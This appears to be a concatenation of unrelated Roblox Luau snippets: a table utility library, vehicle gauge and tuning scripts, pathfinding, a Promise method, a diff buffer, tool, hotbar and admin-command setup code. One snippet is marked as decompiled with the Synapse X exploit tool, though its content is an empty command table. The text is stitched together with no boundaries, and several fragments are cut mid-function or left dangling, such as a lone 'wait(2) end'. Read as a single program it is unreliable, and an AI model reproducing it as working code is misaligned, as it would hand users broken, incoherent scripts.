result = f(result, v, k, t) end return result end local function Assign(target: Table, ...: Table): Table local tbl = CopyTableShallow(target) for _,src in ipairs({...}) do for k,v in pairs(src) do tbl[k] = v end end return tbl end local function Extend(target: Table, extension: Table): Table local tbl = CopyTableShallow(target) for _,v in ipairs(extension) do table.insert(tbl, v) end return tbl end local function Reverse(tbl: Table): Table local n = #tbl local tblRev = table.create(n) for i = 1,n do tblRev[i] = tbl[n - i + 1] end return tblRev end local function Shuffle(tbl: Table, rngOverride: Random?): Table assert(type(tbl) == "table", "First argument must be a table") local shuffled = CopyTableShallow(tbl) local random = rngOverride or rng for i = #tbl, 2, -1 do local j = random:NextInteger(1, i) shuffled[i], shuffled[j] = shuffled[j], shuffled[i] end return shuffled end local function Flat(tbl: Table, depth: number?): Table local maxDepth: number = depth or 1 local flatTbl = table.create(#tbl) local function Scan(t: Table, d: number) for _,v in ipairs(t) do if type(v) == "table" and d < maxDepth then Scan(v, d + 1) else table.insert(flatTbl, v) end end end Scan(tbl, 0) return flatTbl end local function FlatMap(tbl: Table, callback: MapPredicate): Table return Flat(Map(tbl, callback)) end local function Keys(tbl: Table): Table local keys = table.create(#tbl) for k in pairs(tbl) do table.insert(keys, k) end return keys end local function Find(tbl: Table, callback: FindCallback): (any?, any?) for k,v in pairs(tbl) do if callback(v, k, tbl) then return v, k end end return nil, nil end local function Every(tbl: Table, callback: FindCallback): boolean for k,v in pairs(tbl) do if not callback(v, k, tbl) then return false end end return true end local function Some(tbl: Table, callback: FindCallback): boolean for k,v in pairs(tbl) do if callback(v, k, tbl) then return true end end return false end local function IsEmpty(tbl) return next(tbl) == nil end local function EncodeJSON(tbl: any): string return HttpService:JSONEncode(tbl) end local function DecodeJSON(str: string): any return HttpService:JSONDecode(str) end TableUtil.Copy = CopyTable TableUtil.CopyShallow = CopyTableShallow TableUtil.Sync = Sync TableUtil.FastRemove = FastRemove TableUtil.FastRemoveFirstValue = FastRemoveFirstValue TableUtil.Map = Map TableUtil.Filter = Filter TableUtil.Reduce = Reduce TableUtil.Assign = Assign TableUtil.Extend = Extend TableUtil.Reverse = Reverse TableUtil.Shuffle = Shuffle TableUtil.Flat = Flat TableUtil.FlatMap = FlatMap TableUtil.Keys = Keys TableUtil.Find = Find TableUtil.Every = Every TableUtil.Some = Some TableUtil.IsEmpty = IsEmpty TableUtil.EncodeJSON = EncodeJSON TableUtil.DecodeJSON = DecodeJSON return TableUtil
--this'll be grey "Spawn" if a car isn't selected
script.Parent.MouseButton1Click:connect(function() script.Parent.Parent.MainButtonPress:Fire(script.Parent) end)
------------------------------------------------------------------------------------------------------------------------------------------------------ -- Functions ------------------------------------------------------------------------------------------------------------------------------------------------------
local function CreatePath() if not LocalMouse.Target then return end local Origin = LocalCharacter:FindFirstChild('HumanoidRootPart').Position local Target = Vector3.new(LocalMouse.Hit.X, LocalMouse.Hit.Y, LocalMouse.Hit.Z) local Path = PathfindingService:ComputeSmoothPathAsync(Origin, Target, 512) assert(Path.Status == Enum.PathStatus.Success, 'Pathfinding failed') CurrentPath = Path for Index, Point in next, Path:GetPointCoordinates() do local Distance = nil LocalCharacter:WaitForChild('Humanoid'):MoveTo(Point) repeat wait() Distance = (Point - LocalCharacter:WaitForChild('HumanoidRootPart').Position).magnitude until Distance <= 4.5 or Path ~= CurrentPath if Path ~= CurrentPath then break end end end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 160 , spInc = 20 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 280 , spInc = 20 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 320 , spInc = 50 , -- Increment between labelled notches } }
-- local now = os.time() -- if now - lastMoan > 5 then -- if math.random() > .3 then -- zombie.Moan:Play() ---- print("playing moan") -- lastMoan = now -- end -- end
wait(2) end
-- Configurações
local walkSpeed = 16 local jumpPower = 50
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end for i=0,revEnd*2 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 300 / 8000 end) script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "N" car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "N" elseif gearText == -1 then gearText = "R" car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "R" car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "R" end script.Parent.Gear.Text = gearText car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = gearText car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = gearText end) script.Parent.Parent.Values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.TCS.Visible = false end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end else if script.Parent.TCS.Visible then script.Parent.TCS.Visible = false end end end) script.Parent.Parent.Values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABS.Value then script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.ABSActive.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = true script.Parent.ABS.TextColor3 = Color3.new(1,0,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.ABS.Visible = false end end) script.Parent.Parent.Values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = false end end) script.Parent.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true end else if script.Parent.ABS.Visible then script.Parent.ABS.Visible = false end end end) script.Parent.Parent.Values.PBrake.Changed:connect(function() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end) script.Parent.Parent.Values.TransmissionMode.Changed:connect(function() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units inspd.Rotation = -30 + (265 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88)))) end) script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) mouse.KeyDown:connect(function(key) if key=="v" then script.Parent.Visible=not script.Parent.Visible end end)
--[[ Yield until the promise is completed. This matches the execution model of normal Roblox functions. ]]
function Promise.prototype:awaitStatus() self._unhandledRejection = false if self._status == Promise.Status.Started then local bindable = Instance.new("BindableEvent") self:finally(function() bindable:Fire() end) bindable.Event:Wait() bindable:Destroy() end if self._status == Promise.Status.Resolved then return self._status, unpack(self._values, 1, self._valuesLength) elseif self._status == Promise.Status.Rejected then return self._status, unpack(self._values, 1, self._valuesLength) end return self._status end
-- By Ira (https://www.roblox.com/users/111334263/profile)
-- Encapsulate common and change lines
local CommonBuffer = {} CommonBuffer.__index = CommonBuffer function CommonBuffer.new(deleteBuffer, insertBuffer) local self = {} self.deleteBuffer = deleteBuffer self.insertBuffer = insertBuffer self.lines = {} setmetatable(self, CommonBuffer) return self end function CommonBuffer:pushDiffCommonLine(diff: Diff): () table.insert(self.lines, diff) end function CommonBuffer:pushDiffChangeLines(diff: Diff): () local isDiffEmpty = #diff[2] == 0 -- An empty diff string is redundant, unless a change line is empty. if not isDiffEmpty or self.deleteBuffer:isLineEmpty() then self.deleteBuffer:pushDiff(diff) end if not isDiffEmpty or self.insertBuffer:isLineEmpty() then self.insertBuffer:pushDiff(diff) end end function CommonBuffer:flushChangeLines(): () self.deleteBuffer:moveLinesTo(self.lines) self.insertBuffer:moveLinesTo(self.lines) end function CommonBuffer:align(diff: Diff): () local op = diff[1] local s = diff[2] if s:match("\n") then local substrings = s:split("\n") -- ROBLOX deviation: 1-indexing local iLast = #substrings for i, substring in ipairs(substrings) do if i == 1 then local subdiff = Diff.new(op, substring) if self.deleteBuffer:isLineEmpty() and self.insertBuffer:isLineEmpty() then -- If both current change lines are empty, -- then the first substring is a common line. self:flushChangeLines() self:pushDiffCommonLine(subdiff) else -- If either current change line is non-empty, -- then the first substring completes the change lines. self:pushDiffChangeLines(subdiff) self:flushChangeLines() end elseif i < iLast then -- A middle substring is a common line. self:pushDiffCommonLine(Diff.new(op, substring)) elseif #substring ~= 0 then -- The last substring starts a change line, if it is not empty. -- Important: This non-empty condition also automatically omits -- the newline appended to the end of expected and received strings. self:pushDiffChangeLines(Diff.new(op, substring)) end end else -- Append non-multiline string to current change lines. -- Important: It cannot be at the end following empty change lines, -- because newline appended to the end of expected and received strings. self:pushDiffChangeLines(diff) end end function CommonBuffer:getLines(): Array<Diff> self:flushChangeLines() return self.lines end
-- Decompiled with the Synapse X Luau decompiler.
local l__HDAdminMain__1 = _G.HDAdminMain; local v2 = { commandName1 = { Function = function(p1, p2) end }, commandName2 = { Function = function(p3, p4) end } }; for v3, v4 in pairs(v2) do v4.Name = v3; end; return v2;
--[[INSTRUCCIONES * Tiempo entre que toca SENSOR y PARADA: 20 segundos ]]
function onTouched(hit) campana.Playing = true ondear.Value = 0.1 chimenea1.Enabled = false chimenea2.Enabled = false ruedaderecha1.AngularVelocity = -2 ruedaderecha2.AngularVelocity = -2 wait(10) ondear.Value = 0.2 campana.TimePosition = 0 ruedaderecha1.AngularVelocity = -1 ruedaderecha2.AngularVelocity = -1 wait(10) ruedaderecha1.AngularVelocity = 0 ruedaderecha2.AngularVelocity = 0 ondear.Value = 50 campana.Playing = false wait(parada) --PARADA ondear.Value = 0.2 chimenea1.Enabled = true chimenea2.Enabled = true ruedaderecha1.AngularVelocity = -0.5 ruedaderecha2.AngularVelocity = -0.5 wait(1) ondear.Value = 0.1 ruedaderecha1.AngularVelocity = -1 ruedaderecha2.AngularVelocity = -1 wait(1) ondear.Value = 0.05 ruedaderecha1.AngularVelocity = -2 ruedaderecha2.AngularVelocity = -2 wait(1) ruedaderecha1.AngularVelocity = -3 ruedaderecha2.AngularVelocity = -3 end script.Parent.Touched:connect(onTouched)
--[[Weight and CG]]
Tune.Weight = 4398 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--[[Shutdown]]
car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") then script.Parent:Destroy() end end)
--Tune--
local StockHP = 260 --Power output desmos: https://www.desmos.com/calculator/wezfve8j90 (does not come with torque curve) local TurboCount = 2 --(1 = SingleTurbo),(2 = TwinTurbo),(if bigger then it will default to 2 turbos) local TurboSize = 300 --Size in Millimeters(if you have 2 turbos then its for each turbo) local WasteGatePressure = 3.3 --Max PSI for each turbo (if twin and running 10 PSI, thats 10PSI for each turbo) local CompressionRatio = 9/1 --Compression of your car (look up the compression of the engine you are running) local AntiLag = false --if true basically keeps the turbo spooled up so less lag
--[=[ Alias for [Maid.DoCleaning()](/api/Maid#DoCleaning) @function Destroy @within Maid ]=]
Maid.Destroy = Maid.DoCleaning return Maid
--Made by Luckymaxer
Tool = script.Parent Main = Tool:WaitForChild("Main") FX = Main:WaitForChild("FX") Handle = Tool:WaitForChild("Handle") Light = Handle:WaitForChild("Light") Players = game:GetService("Players") Debris = game:GetService("Debris") CastLaser = Tool:WaitForChild("CastLaser"):Clone() Modules = Tool:WaitForChild("Modules") Functions = require(Modules:WaitForChild("Functions")) BaseUrl = "http://www.roblox.com/asset/?id=" ConfigurationBin = Tool:WaitForChild("Configuration") Configuration = {} Configuration = Functions.CreateConfiguration(ConfigurationBin, Configuration) ToolEquipped = false Remotes = Tool:WaitForChild("Remotes") Sounds = { Fire = Handle:WaitForChild("Fire"), } BasePart = Instance.new("Part") BasePart.Shape = Enum.PartType.Block BasePart.Material = Enum.Material.Plastic BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = true BasePart.Locked = true BasePart.Anchored = false BaseRay = BasePart:Clone() BaseRay.Name = "Ray" BaseRay.BrickColor = BrickColor.new("Bright red") BaseRay.Material = Enum.Material.Neon BaseRay.Size = Vector3.new(0.2, 0.2, 0.2) BaseRay.Anchored = true BaseRay.CanCollide = false
--- Handles initial preparation of the game server-side.
return function (cmdr) local ReplicatedRoot, RemoteFunction, RemoteEvent local function Create (class, name, parent) local object = Instance.new(class) object.Name = name object.Parent = parent or ReplicatedRoot return object end ReplicatedRoot = script.Parent.CmdrClient ReplicatedRoot.Parent = ReplicatedStorage RemoteFunction = Create("RemoteFunction", "CmdrFunction") RemoteEvent = Create("RemoteEvent", "CmdrEvent") Create("Folder", "Commands") Create("Folder", "Types") script.Parent.Shared.Parent = ReplicatedRoot cmdr.ReplicatedRoot = ReplicatedRoot cmdr.RemoteFunction = RemoteFunction cmdr.RemoteEvent = RemoteEvent cmdr:RegisterTypesIn(script.Parent.BuiltInTypes) script.Parent.BuiltInTypes:Destroy() script.Parent.BuiltInCommands.Name = "Server commands" if StarterGui:FindFirstChild("Cmdr") == nil then CreateGui() end end
--/////////////////////////////////////////////////////////--
local dZIndex = 2 local dScrollBar = 4 local dBackground = Color3.new(31/255, 31/255, 31/255) local dTransparency = 0 local dPixelSize = 0 local dBorder = Color3.new(27/255,42/255,53/255) local dPosition = UDim2.new(0,5,0,5) local dCanvasSize = UDim2.new(0, 0, 0, 0) local dScrollImage = "http://roblox.com/asset?id=158348114" local dTextColor = Color3.new(1,1,1) local dSize = UDim2.new(1,-10,1,-10) local dFont = "SourceSans" local dTextSize = 16 local dPlaceholderColor = Color3.fromRGB(178, 178, 178) local MouseIcons = { Horizontal = "rbxassetid://1243146213"; Vertical = "rbxassetid://1243145985"; LeftCorner = "rbxassetid://1243145459"; RightCorner = "rbxassetid://1243145350"; TopRight = "rbxassetid://1243145459"; TopLeft = "rbxassetid://1243145350"; }
--[=[ @param orElseFn () -> Option @return Option If caller has a value, returns itself. Otherwise, returns the option generated by the `orElseFn` function. ]=]
function Option:OrElse(orElseFn) if self:IsSome() then return self else local result = orElseFn() Option.Assert(result) return result end end
--< functions >--
function handleEquip(tool) if tool then if tool.Parent ~= char then hum:EquipTool(tool) else hum:UnequipTools() end end end function create() -- creates all the icons at once (and will only run once) local toShow = #inputOrder -- # operator can only be used with an array, not a dictionary local totalX = (toShow*iconSize.X.Offset)+((toShow+1)*iconBorder.x) local totalY = iconSize.Y.Offset + (2*iconBorder.y) frame.Size = UDim2.new(0, totalX, 0, totalY) frame.Position = UDim2.new(0.5, -(totalX/2), 1, -(totalY+(iconBorder.y*2))) frame.Visible = true -- just in case! for i = 1, #inputOrder do local value = inputOrder[i] local clone = template:Clone() clone.Parent = frame clone.Label.Text = value["txt"] clone.Name = value["txt"] clone.Visible = true clone.Position = UDim2.new(0, (i-1)*(iconSize.X.Offset)+(iconBorder.x*i), 0, iconBorder.y) clone.ImageTransparency = unequipped local tool = value["tool"] if tool then clone.Tool.Image = tool.TextureId end clone.Tool.MouseButton1Down:Connect(function() -- click icon to equip/unequip for key, value in pairs(inputKeys) do if value["txt"] == clone.Name then handleEquip(value["tool"]) end end end) end template:Destroy() end function setup() -- sets up all the tools already in the backpack (and will only run once) local tools = bp:GetChildren() for i = 1, #tools do if tools[i]:IsA("Tool") then -- does not assume that all objects in the backpack will be a tool (2.11.18) for i = 1, #inputOrder do local value = inputOrder[i] if not value["tool"] then -- if the tool slot is free... value["tool"] = tools[i] break -- stop searching for a free slot end end end end create() end function adjust() for key, value in pairs(inputKeys) do local tool = value["tool"] local icon = frame:FindFirstChild(value["txt"]) if tool then icon.Tool.Image = tool.TextureId if tool.Parent == char then -- if the tool is equipped... icon.ImageTransparency = equipped else icon.ImageTransparency = unequipped end else icon.Tool.Image = "" icon.ImageTransparency = unequipped end end end function onKeyPress(inputObject) -- press keys to equip/unequip local key = inputObject.KeyCode.Name local value = inputKeys[key] if value and uis:GetFocusedTextBox() == nil then -- don't equip/unequip while typing in text box handleEquip(value["tool"]) end end function handleAddition(adding) if adding:IsA("Tool") then local new = true for key, value in pairs(inputKeys) do local tool = value["tool"] if tool then if tool == adding then new = false end end end if new then for i = 1, #inputOrder do local tool = inputOrder[i]["tool"] if not tool then -- if the tool slot is free... inputOrder[i]["tool"] = adding break end end end adjust() end end function handleRemoval(removing) if removing:IsA("Tool") then if removing.Parent ~= char and removing.Parent ~= bp then for i = 1, #inputOrder do if inputOrder[i]["tool"] == removing then inputOrder[i]["tool"] = nil break end end end adjust() end end
-- NOTE: Any number greater than 2^30 will make TextService:GetTextSize give invalid results
local MAX_BOUND = 10000 local function getTextHeight(text, font, fontSize, widthCap) local bounds = Vector2.new(widthCap, MAX_BOUND) local textSize = GetTextSize(text, fontSize, font, bounds) return textSize.Y end return getTextHeight
-- Função 1
for I,V in pairs(LightService:GetChildren()) do if not V:IsA("Sky") and not V:IsA("Atmosphere") then V.Enabled = true end end
--ticks
local equiptick local shoottick local delta local frametick = tick()
--[[ Fixes the window, pressurizing the room if all windows are now fixed ]]
function Window:fix() self._state = Constants.State.Window.Normal local glass = self._model:FindFirstChild("Glass") glass.CanCollide = true glass.Material = Enum.Material.Glass glass.Color = Color3.fromRGB(116, 161, 255) glass.Transparency = 0.3 local room = self._associatedRoom if room:allWindowsNormal() and room:isBreached() then room:ventRoom() end DestroyMarker:FireAllClients(glass) end